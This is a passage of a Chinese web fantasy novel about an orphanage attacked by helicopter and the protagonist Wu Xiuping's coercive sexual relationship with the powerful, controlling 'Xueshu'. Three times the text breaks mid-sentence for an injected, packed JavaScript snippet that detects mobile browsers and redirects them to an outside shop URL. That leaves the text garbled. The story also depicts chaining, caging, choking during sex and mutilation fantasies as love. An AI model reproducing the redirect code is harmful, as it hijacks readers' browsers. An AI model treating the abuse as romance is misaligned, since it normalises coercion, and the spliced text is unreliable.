被挤压到无法呼吸的空间。他的身体竭力颤抖起来,乌修平能感受到涎水从手指缝隙慢慢流淌下来,布头小老鼠索性自己窸窸爬上去,记号笔点活的双眼咕咚咕咚转着,尾巴勾住乌修平的手。
柔软的布尾巴发挥出千斤顶的作用。乌修平本就扭曲的手硬生生被撬开,他在惨叫,在眼睁睁看着小布鼠勾起戒指,好像那是一面胜利的旗帜,摇摇晃晃,招招摇摇地行进到摇篮栏杆上,轻快地跳到黑色薄膜上。
它用戒指碰了碰平安生,重复乌修平逃避的问题,“你刚刚在幻觉里看到什么?是我,还是床上这个死人。”
乌修平恐惧地哀求道:“不要。先生。不要这样对我……我知道错了。我梦到你。我梦到你。”
布头小老鼠忽得松开戒指,任由那戒指掉到缝隙里。它速速在栏杆上走钢丝,翘着尾巴滚到地上。布偶的脚步声古怪地发出窃笑,消失在一块旧纸板后。
它会和他的主人一起永远觊觎着乌修平,以及乌修平的那根。
乌修平完全想得到自己日后的悲惨遭遇。
他在地上跪行,爬到花布小老鼠消失的纸板后,狼狈翻找起来,“先生。先生。”
我知道错了。我只是在幻觉里想了想,我什么都没做。我真的什么都没有做。
我怎么会做出这种事情来?
“修平。”背后传来极为虚弱的声音。乌修平汗毛直立,他双手撑着地面,耳朵拔尖,听到被褥轻轻摩擦的声音,随后是什么东西反转过来咚一声。
“修平。”
是日思夜想的声音。乌修平盯着自己的裤子,手指正在不断收紧,他撑着地面的双手青筋也在不断膨起。许久,他缓慢地转过身,与摇篮床栅栏里透出的半只疲倦的眼对上。
“那是谁?”平安生问,“他在威胁你吗?”
“没。”乌修平努力维持声音的平衡,他小心翼翼,害怕多说一句,不正常的喘息就要冒出来,“平叔。”
更强烈的电流扎入体内。
乌修平再也忍不住,整个跪在地上,双手攥成拳头轻轻打击起地面。
地上的石头轻微跳跃起来,吱呀旋转地电风扇上抖下粉尘。
一架印有企业标志的直升飞机掠过上空,对准仁爱院开启扫射。保镖狰狞到口水随风乱飙,“给我打!把这片全部炸掉!”
20.第十九章
第十九章
世界游戏化还不到三十年,对于稍年长的人来说,他们见证了时代,推动了时代,全新的战斗体系给他们留下强烈的震撼,但旧时代硝烟带来的威慑力并没有完全消失。
通俗说,热武器依旧存在,并随着社会秩序的混乱开始被部分势力大量囤积:三十年足够他们摸索出热武器的运用方式——对二十级以上的职业者来说,热武器和挠痒痒差不多,但对二十级以下的职业者来说,热武器还是能造成不同程度的伤害。
而对于建筑来说,热武器依旧是最强大的扫荡武器。
叶生光带着孩子们读书的大树最先受到袭击,直升机嗡嗡的响动后,一道强烈的火光炸开大树,尚未消退的暑气从茂密的树叶中燃烧,整棵树沙沙嚎叫起来,火光照耀在仁爱院的墙上,仿若魔鬼的影子。
又是好几声尖锐的破空声。乌修平双手压住地面,勉强控制住身体。他踉跄地爬起来,身下不断传来电击的刺痛感,灰尘扑朔朔掉在头上。叶生光凌乱的拐杖敲击声嘟嘟嘟传来,孩子们若影若现地哭声被什么强压下来。
“不要慌。”童姥姥的声音响起,随后是富有节奏的木鱼,“姥姥在这里!”
笃——
木鱼敲击的第一下,一道金色的防护罩波纹般展开。孩子们从小到大围绕在童姥姥身体周围,明修女怜爱地将她们揽在怀里,用手轻轻拍去她们头上的灰尘。
“不要怕。”明修女道:“修女也在这里。”
他们的存在很快让孩子安静下来,头顶源源不断传来的轰炸声让他们倍感不安。而一切又都在叶生光的预料中,她睁开那双空荡荡的眼眶,凝视着天花板——而那说是天花板,其实是地下室的水泥。裸露出的水管上,剥落的油漆片噼里啪啦掉在地上。
“修平哥。”叶生光道:“平叔和你在一起吗?”
乌修平刚要说“是”。下半身又是一阵刺痛,他这会又顾不上哀求穴鼠,只想要这磨人的玩意赶快停下来。沈曙雀直接健步冲上前,一只手先拽着乌修平,又一只手拖着装有平安生的摇篮。
她骂骂咧咧道:“我上辈子真是欠你的。”
“阿雀。”
“闭嘴。”沈曙雀快要气炸了,“你看到平叔就这么没出息。我等会就锤死你。”
乌修平狡辩起来,“平叔。平叔他刚刚同我说话。叶子,你也听到了吧。平叔醒了,他还问我话。”
叶生光却罕见地摇摇头。
沈曙雀更是将乌修平丢在地上,生气道:“平叔根本没有醒过来。啊呜。你是不是中了幻术?”
乌修平恍惚起来。他看向自己的手指,发觉那上面已经没有戒指,站起来,踉跄着走向摇篮。
一切似乎都是他自己的幻觉。
平叔已经脱离黑箱的状态,平躺在床上。他的脸向上,没有向着任何一侧的栏杆,双眼紧闭。乌修平抓住栏杆,一眼看到落在平安生脸颊侧的戒指,他伸出手要将这枚罪魁祸首拿起来。
一阵剧烈的颤动上下左右传过来。
童姥姥的木鱼声也跟着左右摇晃起来。她身上散发出属于比丘尼的光芒,“不要动!”地下室的灯光一盏接着一盏闪烁起来,接着一盏一盏熄灭,黑峻峻的上方,似乎有什么东西成群结队跑过去。
叶生光用铁棍戳着地面。
属于她的符文一道一道亮起:整个地下室居然全部都是她写好的符文。随着符文融化,一个又一个狭窄到只能容许孩子通过的隧道展露出来。“快进去。”她催促那些孩子们,迫切用棍子碰他们的屁股和小腿,“按照之前的分队,都躲起来。”
明修女抱起摇篮床上的平安生也钻入一条隧道。
沈曙雀重新握住匕首,抵住身上的大动脉。还不等她站在最前面,乌修平用手抵住她的匕首,微微移开,站在最前面。
“我来。”乌修平道:“没关系。你忘了,我还有穴鼠先生。”
“他不是从不出巢穴吗?”沈曙雀道:“算了。反正我两死了就死了。”
他们两都是整个社会的渣滓,升不了级的废品。
可说着这话,乌修平能感觉到沈曙雀颤抖的身体,女孩虚弱的呼吸随着不连续的吞咽,在黑暗里,格外明显。
乌修平却没有一丝动摇。
他平视前方的黑暗,做好了必死的准备——屏住呼吸,双手随时准备出刀,身体挡住背后三个女人,必要时牺牲自己,为曙雀、姥姥、叶生光博出条生路。
“我们会活下来的。”乌修平安慰道。
他看不见沈曙雀的表情,也来不及看,头顶接连传来好几声爆炸。这一回,不用任何评价,四个仅存的战斗力都分辨出声音的不同:
那绝对不是热武器轰炸带来的闷响,而是职业者战斗的声音。强烈地震动波及到地下,四个人连同逃窜到各处的孩子们一并蹲下来,抵挡掉落的石块。狭窄的地道中,空气变得浑浊且难以呼吸。
倒是一束光,恐怖地照射进来。
照射到仁爱院众人多年前布置好的五米深地下。强烈的灰尘与强烈的白光中,乌修平勉强看到那是一个男人的背影,他依稀觉得有些熟悉,那腰,那背一切都那么熟悉,可有种难以言喻的不同。他让眼睛适应几秒钟,再次睁开,那束光中已没有任何活物存在,熊熊烈火腾升而起。
“我们上去看看。”
乌修平牵着沈曙雀走到门口。他们先看到折断的直升机,莲花瓣似的骨架洞穿一尊佛像,佛头在烈火中焚烧,佛身残破大半,徒留下拈花手虚虚对天一指。
“啊呜。”沈曙雀惊恐地喊道:“供桌。”
乌修平拔出利器。
刀锋上带出的风,刺向供桌。乌修平眼睛瞪大,手不受控制的颤抖起来,任由他如何用力都无法再向前一步。
保镖被横劈成两半歪斜躺在供桌下,上下半身均被砖瓦覆盖,看不清细节,只能从服装上判断。
而供桌上,一尊铜炉,三注新香,白烟向天。
“你刚刚看到人了吗?”乌修平问道。
沈曙雀也说话壮胆子,“我还想问你呢。你看到什么?”
乌修平不知道该怎么说。
沈曙雀打气一般鼓舞彼此,“第六感告诉我,应当是救我的恩人。”
“恩人?”乌修平恍然大悟,终于想起还有事情没有问,“是那个把傀儡刺客杀了的恩人吗?你看见他长什么样子吗?”
“白白的。很漂亮。长头发一个男的。”沈曙雀努力回忆着,向保镖的尸体丢了块石头,确认对方毫无动静后,拔出刀,狠狠扎在对方大腿大动脉上。她知道自己才被治愈好,力气不足,还叫乌修平补两刀。
“你看见什么?”
乌修平补刀,“没看清,应当是个男人。”
“我想也是。哎呀。怎么说呢。那种男人就是,你看到绝对不会认错的。”沈曙雀越说越轻松,“观音菩萨知道吧。那种陶瓷做的菩萨。他的皮肤就和白陶瓷一样,人长得也像观音。那种男生女相?我也不太会说,但是他就是男人。”
他们检查完周围,确认除了彼此没有活人后,气氛也轻松起来。
“救了曙雀的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297918|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恩人,就是我的恩人。”乌修平虔诚在铜炉前拜了拜,“真是个大好人。”
曙雀也要遇到属于她自己的穴鼠先生吗?
不。乌修平看向脚尖,有些期望那个人会帮沈曙雀破除万难,又不期待那个人真的进入到他与曙雀的生活中。他保持着拜神佛的姿态,余光却悄悄扫着沈曙雀的脸。
那个人为什么会救曙雀?
沈曙雀还是第一次遭遇这样仁慈的救助。她正处于罗曼蒂色的畅享中,颇有种乌修平初次前往黑市时的天真浪漫。她内心那种固执的悲伤短暂褪去,说着俏皮话,活跃气氛。
“肯定是个大好人。啊呜,你说杀了傀儡大叔和直升机大叔的是同一个人吗?观音菩萨显灵了吧。”
“早该显灵了。”
“是啊是啊。”
乌修平笑着摇摇头。
他看向那个铜炉和香灰,觉得修佛的姥姥看到这些物件会开心。叶生光也能从中检测出大战的蛛丝马迹。
沈曙雀还说他看到平叔脑子昏了一般。要乌修平说,谈起那个救了她的大恩人,沈曙雀脑子也和昏了一样。
“阿雀。回去慢慢说。”乌修平说这话,双手抬起铜炉。几只蚊虫在他面前飞过,他低下头,保镖大叔的脸从铜炉中露出真容。燃烧的三根香正插在他的眼球与眼角上,似察觉到有人来,那双眼球忽得转动起来,香“啪”一下断裂开,正在焚烧的香灰尽数掉落在他的脸皮与嘴角,这颗痛苦的头颅嘿嘿发出惨叫,“少爷……少爷……”
乌修平握着铜炉,身体僵硬到无法将它抛开。
不知道为何。
他感觉到一种奇异的惩罚他人的快乐。
——可能是看着加害自己的人落到这般地步,源源不断地快乐吞噬他;也可能是单纯看着他人痛苦,乌修平身上的伤疤点着了般烧起来;也可能是他身处底层,看着强大者死去,变得还不如自己,彻底狂笑起来。
——明知道是罪恶的快感,还是不可救药地将乌修平拉下去。他用力扣起脚趾,以此遏制嗓子那歇斯底里的喜悦。
——如果我手里的是穴鼠。
乌修平愣神片刻。
他努力回忆穴鼠的脸,想到对方那双柔软的唇。他唾骂自己没有出息。他幻想把穴鼠割喉,拉扯舌头。口齿分泌出大量唾液。他又唾骂自己没有出息。而最终,乌修平低下头,尝试用手中的脑袋置换另外一颗脑袋。
他想到不知道是什么时候的夜晚,穴鼠将脑袋懒懒靠在自己胸口。对方伸出手环抱乌修平的脸,一声又一声地亲吻过去。
“我爱你。”穴鼠迷离地看着乌修平,“乌鸦。我们是命中注定的爱人。如果有一天我要死了……”
“你怎么会死呢。”乌修平嗤之以鼻,“你可是89级。”
此时此刻,乌修平看着手中的铜炉。
断裂的香灰依旧在燃烧,烫伤游走在强者脸上。
穴鼠哈哈大笑,“可总会有那一天的。”
他坐在乌修平身上,糜烂得彻底,醉了一般呓语道:“我要我大半生命花在你身上,我要和你一直做下去。”
乌修平当时觉得穴鼠有病,现在回忆起来他也觉得穴鼠有病。
总归穴鼠病了这么久,他也不奇怪穴鼠发癫。
他只是奇怪,自己无法想象穴鼠死在铜炉中,被自己抱着的样子。
“呵。”乌修平随手丢掉铜炉,“我在想什么。”
他杀不死穴鼠,这是不争的现实。
但说穴鼠对他的所作所为就是爱,那也实在是太可笑的现实。
21.第二十章
第二十章
如果乌修平有能力,他应该不会做一个好人。
换一种角度来说,他或许是因为没有力量和权利才善良——很多人,特别是男人,一旦得到他人赋予的权力便变得嚣张跋扈起来。这中间,他们又最挥霍别人的爱意,肆无忌惮将其视作自身魅力的合法收入。
乌修平恰恰没感受到这种“爱的权力”。
他是一个丑陋的长满伤疤的孩子,他生来就知晓自己没有任何可以值得炫耀的权利。他这种人,一旦得到可以凌驾于他人之上的权力,会发生极为可怕的事情。
这么看来,他的痛苦似乎也变得合理起来。乌修平将保镖的脑袋从炉中捅出来,扎到塑料袋里丢出去。他内心那种可怕的狂暴想法也慢慢平静下来,接着是长期教化下产生的羞耻感。
可是他有错吗?
在没有得到力量之前,乌修平内心再多的施虐想法,都不过是一道幻影。他永远在忍耐,永远在承受身体和心灵上的伤害。
“我们真是好运气。”叶生光复盘全局,好像她和两人共同生活过的日子都是假的。她谈论乌修平等人的生命就像谈论门前大树掉叶子,“可不能指望天下掉下一个高手帮我们切瓜砍菜。这次是我的错,我低估30级以上的战斗力。”
叶生光放下铁棍,在地下室中对乌修平和沈曙雀二人深深俯身。
她道:“对不起。”
孩子们陆陆续续从隧道口里钻出来。他们分成不同的小队,大的抱着小的,还能走的背着不能走的,每一个都那么沉默且平静地环绕在叶生光周围。
沈曙雀道:“死掉我们两个,大家能活下来也不错。”
仁爱院里大部分孩子没有在外留下过多痕迹。童姥姥、明修女、叶生光虽不是战斗职业,可大家自保还是有点本事。她们一个负责防御,一个负责治疗,一个负责侦查和辅助,未尝不能帮平安生重新恢复身体。
仁爱院做出最坏的打算就是牺牲掉乌修平和沈曙雀。
因为他们直接和敌人接触过。
因为他们两个自己都觉得自己没有升级的可能性。
沈曙雀再怎么努力,哪怕沦丧道德到使用平安生,不完成转职任务就不可能升入20级。
乌修平再怎么努力,哪怕使用平安生,让能力远超15级该有的指标,他的等级就是死死卡在15级。
他们的一切都是不可知的。
人类趋利避害的本性会让他们选择更有价值的投资。
叶生光整理好情绪,捡起铁棍在水泥地上划出白横。她道:“两个人死得不能再死。童姥姥已经出去扫尾,我们也做好断尾重生的准备了。”
刺啦刺啦的摩擦声中,一个古老的曾经辉煌一时的战术出现在乌修平和沈曙雀面前。
【地道战】
叶生光道:“之后很长一段时间,我们都要住在地下了。这些老地道,老水管……小孩子和女孩们钻进去刚好。稍微大一些的成年人都没办法进入。他们想要进去,也必须脱掉装备。”
或者,直接炸掉整个城市的公共地下管道、注入毒气、毒物、水和火,直接触发整个城市的公共保护系统。
仁爱院最早的三位创始者很早就发现这座城市奇怪的地方:老鼠怎么都杀不完,她们购买的老房子更是老鼠出没的重灾区,什么老鼠药、粘鼠板、养猫、水淹、火烧全部用过,但全失效。
这座城市的地下居然被人施了阵法,保护着无毒无害的弱小生物。
年幼的孩子恰好符合这个规则。
仁爱院也索性利用这一点,开始挖地窖,自己修缮水管水道。失去最强战力的近20年,她们逐渐摸索出一套属于自己的藏匿方式和生存逻辑。
乌修平和沈曙雀离开前,他们把所有有价值的生存物资收拾起来,带不走直接封存在箱子中埋好。叶生光早早按照阵法技能上的描述,给每一个地道口布置隐匿法。童姥姥在每一队孩子中挑出最强壮,往她们身上系一小盒急救品、一把水果刀、一包白砂糖。明修女在每一队孩子中挑出最聪明的,确认她们牢牢记住地下道的地图,并给她们下了“绝不泄密”的技能。
杀人是开始。
她们非常清楚带着这么多孩子,战斗和生存都将是巨大困难——那要丢掉平安生吗?——仁爱院两位主事者没有做出这样的选择。如果平安生是累赘,她们近20年来养育的孩子们更是累赘。
“敌人肯定会来查看。”叶生光道:“不知道他们会派什么等级的人来……应该不会超过40级吧。”
目前世界排行榜第一位的高手92级,往下数几位都刚突破90 级,或者正在进行90级的转职任务。
不过也就那几位。
真正生活里还是普通人居多。例如他们正在居住的城市,居民平均等级是19级。大量人被卡在20级的转职任务上,常年升不上去,时间一久都过着平凡的生活,做着平凡的工作,赚着平凡的三瓜两枣。
乌修平这种直接卡在15级,怎么都升不上去的。
沈曙雀这种第一次转职都没能完成的。
都是非常少见的极端案例。
“和我们打得那个……”沈曙雀10级,感知没那么强烈。她模糊猜测道:“那个黑衣男人感觉比傀儡强。我猜他应该有30级?最少是30级吧!不然怎么可能控制那种怪物傀儡啊。你不知道他打我的时候,我快死了……”
她又要开始说那个恩人。
乌修平倒是能给出一个很明确的数字,他道:“保镖大叔应该有39级。和我一起工作的保镖们没有一个人低于25级。”
那,轻而易举杀死他们的人又有多少级呢?
乌修平怀着沉重的心情,钻入水管。他匍匐向前,身上一些伤口被挤压得不成样子,出来时擦伤比原本更严重,一层皮肉都给粗糙的管道内壁刮下来了。但已经顾不得他停下来止血疗伤,四周传来细细密密的吱吱叫声。几双黑漆漆的豆豆眼钻出来,露出脏兮兮的布头尾巴。
“真脏。”乌修平忍不住用手捏住他们,一个一个塞到自己口袋里,埋怨起来,“监视我这么久。你们到底有什么用。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306943|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花布小老鼠那两颗点上去的眼睛瞪得出奇大。
它愤怒地吱吱乱叫,要不是它的主人没有给他捏一个嘴巴,它早就一口咬住乌修平这臭男人,要他知道什么是“有用”。
“吱吱吱吱~~!!”
乌修平揪住小老鼠的尾巴,捏着它的棉花脑袋,一顿揉搓。
等他打开穴鼠的巢穴,
迎面来个枕头。穴鼠乱蹬两只脚,捂着脑袋在床上打滚,“你干嘛捏他的头!我看不到你了。”
乌修平:……
他松开手。
花布小老鼠吸溜一下钻入床底下,躲在零食碎屑中吱吱乱叫起来。床上则是他的主人“啊呜啊呜”乱叫,“我看到了。你对那个老头子发情。”
穴鼠无法控制地打滚,卷起被子,三板斧来回使用,对乌修平使性子,“我讨厌你。讨厌你。”
乌修平笨拙上前扯穴鼠的被子。他动一下,穴鼠啪得伸出手打他一下。两人好像旧时代的打地鼠,你一下我一下。乌修平最后那点脾气又给他点上了,他索性压在穴鼠身上,扣着被子将穴鼠的脑袋扒拉出来。
“我还没问你,干嘛电我。”
穴鼠张口咬住乌修平的嘴巴,吃牛皮糖一样扯过来。乌修平疼得直凑过去,两个人抱在一起报复性乱啃,口水弄得被子黏糊糊,穴鼠才松口,呸呸掉嘴巴里的血水,“就电你。我就电。要你管——我现在没想出怎么管你。你这个臭男人,欠管教的家伙!”
乌修平又火起来。他直接往下撕被子,才一下,他眼前就被大片白恍了神。沈曙雀的话见鬼般飘忽在耳边,那形容观音像般的白瓷皮肤,那令他感觉到熟悉的腰与背。
怎么不算熟悉呢?乌修平曾经抱着那腰上下不知道多少回,他还曾经安抚拍着对方的背,两人滚了不知道多少次床单。只是当时,乌修平没有往那个方向去想,而现在,他仔细打量穴鼠那张漂亮的身段与脸,既想要那个救了沈曙雀,杀了两个强敌的人是穴鼠,又恐惧那个人是穴鼠。
曙雀说,那个人留着一头长发,长发差不多到背的中间。
穴鼠也留着一头这样的长发。不过他更爱将头发卷成一根,或使唤乌修平帮自己编成一团,懒懒睡上好几日再拆开洗干净。他这种懒人绝不自己洗头发,全全让乌修平代劳。
故而,乌修平是不会弄错的。
可除此之外,还有什么明确的特征吗?乌修平不知道,他也不好确定,对穴鼠的姿态又低了几分。
“是。”他低声道:“我欠管教。你别生气。我保证下次不会了。”
穴鼠却嗤笑一声,显然不相信这种说辞。
他眉目也同沈曙雀说得那般,丹凤眼,端庄时有种观音相,可穴鼠多懒惰又好色贪吃,歪斜看人再慈悲的眉目都变得邪气。他抬脚,就这么光秃秃地推乌修平的大腿,命令道:“光说有什么。做啊。”
乌修平合了会眼,深吸一口气,脱掉衣服爬上床。
“好的。”他握住穴鼠的腰,也不管到底是不是曙雀的恩人,听话的律动起来,“我会做到先生满意的。”
22.第二十一章
第二十一章
穴鼠很喜欢爱。
他在能力、战斗力、耐力上都远超过乌修平,但现在,在欢愉里,他心甘情愿为乌修平做一个被征服者。
很爽。
穴鼠自己也不太理解为什么,他偶尔也会冒出和乌修平一样的想法:我为什么看上他?
世界上如此多的美人,如此多性格好的美人,如此多性格好、实力强的美人,为什么要选择乌修平这个拧巴、菜得要命的丑八怪?
穴鼠尝试寻找原因。他直接去论坛上发帖,得到一大多人的询问,什么“对方是不是很有钱?”“是不是你有病?”“是不是那方面很强?”穴鼠一众看下来,点赞所有猜测乌修平那方面的褒奖之词,懒懒躺下。
他困了,开始回忆起自己与乌修平见面的感觉。
没错,不是什么场景,就是种感觉。第一次出现在人群中的乌修平非常平凡,使劲拉扯一个瘪瘪的鸭舌帽。他当时不过21岁,劳作让他显得疲倦,身材干瘪,同时还有点说不出的萎靡。穴鼠看见他走过一个又一个店铺,被一次又一次拒绝。
他看见青年脖颈上纵横的伤疤,有刚愈合的肉粉色,也有常年累月的棕褐。
穴鼠听到自己的心跳。
他发布招募人手的消息,在一众求职者中揪出乌修平,连哄带骗将对方压在床上,掀开他的鸭舌帽和口罩,迫不及待亲吻那些伤口,大做一场。事后,穴鼠严重怀疑自己有什么伤疤癖。他找来一些图片,一些人,又觉得毫无兴致。
“说明我还是很正常的。”穴鼠自言自语,捏了好几个花布小老鼠,放在屋子里监视乌修平。把人骗上床的那段时间,他掏出锁链,将乌修平捆在床上。乌修平哭,乌修平闹,乌修平给他甩冷脸,穴鼠都没有任何怜悯之心。
他觉得自己就是比乌修平高贵,使用一个乌修平,在穴鼠心里就是使用一个免费的棒子。
后来是懒得伺候人吃喝拉撒,再加上怕影响使用状态,穴鼠把人放回仁爱院里,派出花布小老鼠日日夜夜盯着,生怕哪天人收拾包袱跑了。
乌修平为此和穴鼠吵了很多次。
除了做的时候爽得不行,他们大部分时间都闹得彼此不愉快。
而等穴鼠和乌修平相处多了,他觉得自己可能收到“一些诅咒的影响”。虽然他也判断不出乌修平身上的诅咒是什么,但那肯定不是普通的诅咒。
“其实也很奇怪。”穴鼠给花布小老鼠们训话,“我又不是没碰到厉害的诅咒。那个什么鸟,还是神级诅咒。我对她就不感兴趣。只有乌鸦。”
乌修平是不一样的。
花布小老鼠吱吱乱叫。
它们不充当摄像头和传话筒时,就是一堆智力低下的笨蛋布偶。穴鼠生气时攥紧拳头将它们一个又一个拍成棉花饼子,搓成老鼠圆子,抡到墙上。花布小老鼠撞了南墙也不生气,吱吱吱乱叫一番,重新爬上床任君采撷。
如果乌修平也和小布鼠一样任他揉搓就好了。
穴鼠经常会这么想。
可他真买了狗笼回来,要把乌修平塞进去,男人那要死要活的表情看得穴鼠头发丝爆炸。他动用暴力把乌修平塞进去,让对方把那根掏出来单独放着,就和壁穴差不多的设计。乌修平又哭又骂,上下都很忙——事后他躲不来见穴鼠,气得花布小老鼠们满屋子乱窜,最后硬生生把乌修平拖回鼠巢。
“你是我的!”穴鼠冲乌修平咆哮,“我那么爱你,你到底还要什么。”
“你这是什么爱?”乌修平快要崩溃了。他的表情扭曲,手抓着眼眶,嘴唇蠕动,“臭老鼠,你根本不爱我。你根本就是在玩我。我是什么!我在你眼里到底算什么!?”
穴鼠相当震惊。
他说,“我愿意和你做。难道还不够爱你?”
乌修平看向穴鼠,他浑身上下唯一完好的眼球转动着,随后低下去。那是非常普通又平凡的一天,穴鼠居住的巢穴里没有阳光,但他却诡异地记着这一幕:并也就是这一天,穴鼠猜测乌修平内心有一种叫做“爱”的东西。
他“爱”着乌修平。
乌修平没有爱他,这个该死的男人爱着另外一个人?
女人?还是和他一样的男人?
“爽就完了。”穴鼠道:“和我做不舒服吗?”他尝试用一种很笨拙地方式讨好乌修平,从宝箱里掏出最闪耀的夜明珠炫耀,“我是第一次哦。我所有第一次都是你的。”
乌修平没有反应。
那颗被穴鼠珍藏许久的夜明珠终于面世,却被弃之如履,被当做玻璃珠随意丢弃再一边。空气是那么的安静,穴鼠尝试贴近乌修平,亲吻乌修平的脖颈和嘴唇,乌修平轻轻地闪躲,每一次都发出剧烈的锤击声。
“我有喜欢的人。”乌修平啜泣道,“不要再这样做了。”
“真的吗?”
“真的。”
瞬间,穴鼠勒住乌修平的脖子。他的双臂如同白绫,轻而易举将15级吊起,乌修平的双脚在被褥上蹬擦,穴鼠只感觉到身体在颤抖。
他问他,“你和他做了吗?”
乌修平涨红脸,气血不断涌上头。穴鼠加大力气,猜测那些是羞愧的红,恼怒的红,还是要死的红。
他再问他,“我舒服还是那个人舒服?”
乌修平脸憋得紫青,他开始摇头,涎水从嘴角溢出,他那双完好无损的眼睛上下翻滚,宛若濒死之鱼翻滚鱼肚白。穴鼠俯下身咬住乌修平的嘴唇,堵住对方最后的出气口,他感觉着怀中之人跳动的脉搏,腹部一阵绞痛。
杀了他。
不,要先杀了乌修平喜欢的那个人。
反正他都那么强了,什么得不到?他可以和所有强者一样,看中什么直接拿,所有不同意的声音直接去死吧。他知晓好几个强者看中谁,先用钱,再用权,逼迫不成,直接杀对方全家强取豪夺,玩腻了,灭口,抛尸。
一劳永逸。
但,怎么够?
他要给乌修平加倍的痛苦。
穴鼠缓缓松开胳膊,乌修平滑落在他的怀中。他怜爱地拨开男人脸上的汗珠与血,吻他,调查他,监视他身边每一个人。
平安生。
偶尔,乌修平也会自己说一些他喜欢的那个人。
平安生。
乌修平谈起那个男人的表情,照耀得整个巢穴熠熠生辉。
平安生。
穴鼠不想听,拉着人滚床单。他要乌修平摆出各种姿势,要深入,再深入,占据面前这个男人的全部,他要对方忙得说不出关于那个人的一点消息,哪怕花布小老鼠们搜集来的资料告诉穴鼠,平安生对乌修平没有半点想法。
不行。
穴鼠看着乌修平的脸,满脑子都是两个字:不行。
不行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321878|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不行不行不行。男人这种生物是靠不住的。他能把乌鸦拐上床,乌鸦就能把别人拐上床。这种道德败坏的时代,拥有等级便能拥有一切,与其相信乌修平的道德,还不如让他亲自来。
砍掉那个男人的手脚,废掉他的等级,让乌修平看看他喜欢的人变成什么样子……
“先生。”
乌修平抹开穴鼠粘在脸上的头发。灯光下,他身上的伤疤呈现出破碎的美感,初遇时的干瘪,正被穴鼠用残羹剩饭一点点填满。每次穴鼠尝两口觉得难吃的东西,最后都进乌修平的肚子。好几次,花布小老鼠告密说,乌修平偷偷捡垃圾桶里的过期食物,送去分给曙雀和一些孩子们吃。
穴鼠真是服了,他觉得乌修平上不了台面。
但这男人在床上又该得是个角。
穴鼠被他倒弄得意乱情迷,叫了好几声才回神,“不能开锁。”
乌修平很多时候不知道穴鼠在想什么,他琢磨要询问穴鼠今天去了哪里?还是询问穴鼠有没有救曙雀?用哪一种说法不会引起穴鼠的反感和杀心?
有些东西说出口,就不一样了。
乌修平不觉得自己能影响穴鼠的决策。他宁可相信穴鼠会出于喜恶杀了曙雀,又不相信穴鼠会为了自己去救曙雀。
“我没有说开锁。”乌修平把穴鼠凌乱的头发拆开,一缕一缕梳开,“我好像在外面看到你了。”
穴鼠胡乱答应着,“嗯。”
乌修平继续用力,满足穴鼠的过程被他幻想成某种“拷问”。很多次欢愉时刻,他像船夫与水鸟的合体:灵魂在一汪湖水上翱翔,天空沉默下着小雨,身体用力摆动船桨,啪啪地激荡起水花,成片成片的涟漪与水纹滴落在湖水上。
一切都是潮湿的。
“你怎么没和我说。”乌修平小心翼翼讨好道:“想看义演团表演的话,我可以带你去。”
穴鼠眯着眼,一巴掌扇在乌修平胸口上,“你在外面招惹男人了?”
“我没有。”
“那就是你欠管教。”穴鼠用力抓挠起来,“你在我面前说别的男人?你怎么想的?”
杀了平安生,然后呢?
把这个男人的手脚砍掉,把他彻底变成废人,然后呢?穴鼠找到平安生的第一眼,就在这么想。他默不作声,看着事情变成他幻想得样子,哪怕他什么都没有做,他找到平安生前,事实都成了他曾幻想的样子。
他不知道要怎么和乌修平说。
“喂。平安生变成这个样子了。他废了。你早点认清现实,跟着我好了。”是这样吗?
还是“乌鸦不要伤心。反正不管平安生变成什么样子,平安生都不会喜欢你的。”这种吗?
穴鼠无法表示自己内心有多快乐。
可是。
他管得住乌修平的那玩意,管得住乌修平身边出现的男男女女吗?挖掉乌修平的眼睛,打断乌修平的腿,把人彻底关起来,就能阻止对方看向其他人的爱吗?乌修平会不会爱上回忆里那个人?会不会爱得越来越深?
他到底什么时候“爱”我?
“那个人是谁?”
“没有谁。”乌修平解释道:“我以为是你。”
穴鼠无法克制地尖叫起来,他坐在乌修平身上,感受体内的阻碍,痛苦夹杂着愉悦从他身体里长出来,越来越深,“以为是我,然后呢?你和那个人做了吗?”
23.第二十二章
第二十二章
“你想哪里去了。”乌修平不理解穴鼠又在发什么癫。他努力辩解,“我不是一直被你管着吗?”
穴鼠声音陡然高了几分,“所以没有我管着,你就会找别的人吗?乌鸦。啊——”他被狠狠凿了一下,气急了双手抓住乌修平的耳朵,又咬又拧,“滚出去。拔出来。”
乌修平明白,他要真听穴鼠的话退出来,才是真完蛋。
